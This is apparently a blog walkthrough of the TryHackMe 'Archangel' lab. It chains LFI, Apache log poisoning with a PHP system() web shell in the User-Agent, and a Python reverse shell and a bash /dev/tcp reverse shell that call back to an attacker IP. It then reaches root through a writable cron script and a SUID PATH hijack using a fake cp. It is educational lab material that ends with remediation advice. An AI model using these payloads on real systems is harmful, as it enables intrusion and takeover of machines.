Archangel – TryHackMe

From Local File Inclusion to Root
Difficulty: Easy/Medium | Skills: Web enumeration, Local File Inclusion (LFI), Apache log poisoning, reverse shells, Linux privilege escalation (cron abuse & SUID PATH hijacking)
Overview
Archangel is a web-focused box that walks through a realistic attack chain: discover a hidden virtual host, find a Local File Inclusion vulnerability, escalate that into remote code execution through Apache log poisoning, catch a reverse shell, and then climb from a low-privileged web user all the way to root by abusing a scheduled task and, finally, a misconfigured SUID binary.
If you want to follow along with someone else’s notes, I leaned on the official room tasks plus this excellent walkthrough by 0xm3dd when I got stuck. I started working on this box from the direction of hackerblueprint.
Here’s the full methodology, start to finish.
1. Enumeration
As always, the first job is to map the attack surface. I kicked off a full TCP scan alongside a UDP scan to see what the box was exposing.


The scan showed a web server, so I pointed a browser at the host. The landing page hinted at a domain name – a strong sign the box is using name-based virtual hosting, where the “real” site only responds when you request it by hostname.

To reach that virtual host, I mapped the hostname to the target’s IP in my local hosts file so my machine would resolve it correctly:
echo "<TARGET_IP> mafialive.thm" | sudo tee -a /etc/hosts

With the host entry in place, browsing to the domain served up a different site – the real target.

2. Web Enumeration
With the correct site loading, I went looking for low-hanging fruit. robots.txt is always worth a glance – it often names paths the owner would rather crawlers (and you) didn’t visit.

Following that lead landed me on a PHP endpoint that takes a page/view parameter – exactly the kind of thing that’s prone to file-inclusion bugs.

3. Local File Inclusion (LFI)
Any time a parameter looks like it controls which file gets loaded, it’s worth testing for path traversal – walking “up” the directory tree with ../ sequences to read files outside the web root. I fuzzed the parameter to see how it behaved.

The application was filtering some traversal attempts, but a crafted payload slipped through and returned the contents of a system file – LFI confirmed. A common trick here is doubling up the traversal sequences (e.g. ....//....//) so that a naive filter which strips a single ../ still leaves a working ../ behind.

I kept fuzzing to understand exactly which filter was in play and what traversal pattern reliably bypassed it.

Crucially, the traversal let me reach the Apache access log:
/var/log/apache2/access.log
Being able to read the web server’s log is the key that unlocks the next stage.

4. Log Poisoning → Remote Code Execution
Here’s the idea behind log poisoning: Apache writes details of every request – including the User-Agent header – straight into access.log. If I put PHP code inside my User-Agent, it gets written verbatim into the log. Then, because the LFI includes (executes) whatever file I point it at, pulling in the poisoned log causes PHP to run my injected code.
First, a quick proof that my request lands in the log:

Including the log back through the LFI executed the payload – poisoning works.

To turn this into a usable web shell, I set the User-Agent to a one-liner that executes whatever command I pass in a request parameter:
User-Agent: <?= system($_REQUEST['shell']) ?>

A note on the syntax, since it’s easy to break: <?= is PHP’s short-echo tag and expects a single expression – so keep it clean, with balanced quotes and no stray characters. system() runs the value of the shell parameter as a shell command and prints the output. Once that line is in the log, every include of the log re-runs it, so make sure it parses correctly the first time.
Now I could run commands by appending &shell=<command> to the request that includes the log.

5. Getting a Reverse Shell
A web shell is clumsy – one command at a time, no real interactivity. I confirmed the box had python3 available and used it to call back to a listener on my machine.

On my attacking box I started a listener:
nc -lvnp 443
Then, through the web shell, I fired off a Python reverse shell (swap in your own VPN/tun0 IP for RHOST):
export RHOST="192.168.137.66";export RPORT=443;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
The listener caught the connection – I had an interactive foothold on the box.

Tip: stabilise the shell right away with
python3 -c 'import pty;pty.spawn("/bin/bash")', thenCtrl+Z,stty raw -echo; fg, andexport TERM=xtermso you get tab-completion and arrow keys.
6. Privilege Escalation #1 — Abusing a Scheduled Task
With a foothold, I enumerated for anything running automatically. Checking scheduled tasks revealed a script set to run every minute – and, critically, one that my current user could write to.

A writable script executed by a higher-privileged user is a textbook privilege-escalation path: I just append my own reverse shell to it and wait for the scheduler to run it as that user.
echo 'bash -i >& /dev/tcp/192.168.137.66/4444 0>&1' >> <path_to_scheduled_script>

A minute later, a second listener caught a shell – this time as the account that owns the cron job.

7. Privilege Escalation #2 — SUID Binary PATH Hijack to Root
Now operating as a more privileged user, I hunted for SUID binaries – programs that run with the privileges of their owner (here, root) rather than the person executing them.
find / -perm -4000 -type f 2>/dev/null
That turned up a custom root-owned binary with the SUID bit set.

Running it showed it calls cp without an absolute path. That’s the whole vulnerability: when a program invokes a command by name alone, the shell searches each directory in $PATH in order. If I put a directory I control at the front of $PATH and drop a malicious cp there, the SUID binary runs my cp as root.
# 1. Create a fake "cp" that just launches a privileged shell
cd /tmp
echo -e '#!/bin/bash\n/bin/bash -p' > cp
chmod +x cp
# 2. Put /tmp at the front of PATH (keep the real system dirs after it!)
export PATH=/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# 3. Run the SUID binary — it calls our cp as root
<path_to_suid_binary>
Two things that quietly trip people up here:
- Mind the
-pflag./bin/bash -ppreserves the elevated (effective) privileges; without it, bash drops them on startup and you just get your own shell back. - Don’t nuke your PATH. Keep the system directories after your injected one. If you set
PATH=/tmpalone (or leave a stray space, likeexport PATH=$(pwd): $PATH), basic commands such asid,whoami, andchmodstop resolving because/binand/usr/binfall out of the path.
The fake cp executed with root privileges and dropped a root shell.

Key Takeaways & Remediation
Archangel is a great end-to-end example of how small misconfigurations chain into a full compromise. If you’re defending a system like this:
- Validate and canonicalise file paths. Never feed user input straight into an include/
require. Use an allow-list of permitted pages instead of filtering../, which is almost always bypassable (e.g. with doubled-up sequences). - Keep logs out of the web root and never include them. Log poisoning only works because a user-controlled file (the access log) could be executed as PHP.
- Treat the
User-Agent(and every header) as untrusted input. It ends up in logs, dashboards, and sometimes databases. - Lock down scheduled tasks. Scripts run by cron should be owned by the running user and not writable by anyone else.
- Audit SUID binaries and always call commands by absolute path. Any SUID program that invokes a command by bare name is a PATH-hijack waiting to happen.
Thanks for reading – if this helped, drop a comment with where you got stuck, and happy hacking.
Disclaimer: This walkthrough is for educational purposes on a deliberately vulnerable lab machine (TryHackMe Archangel). Only test systems you own or are explicitly authorised to assess.
0 Comments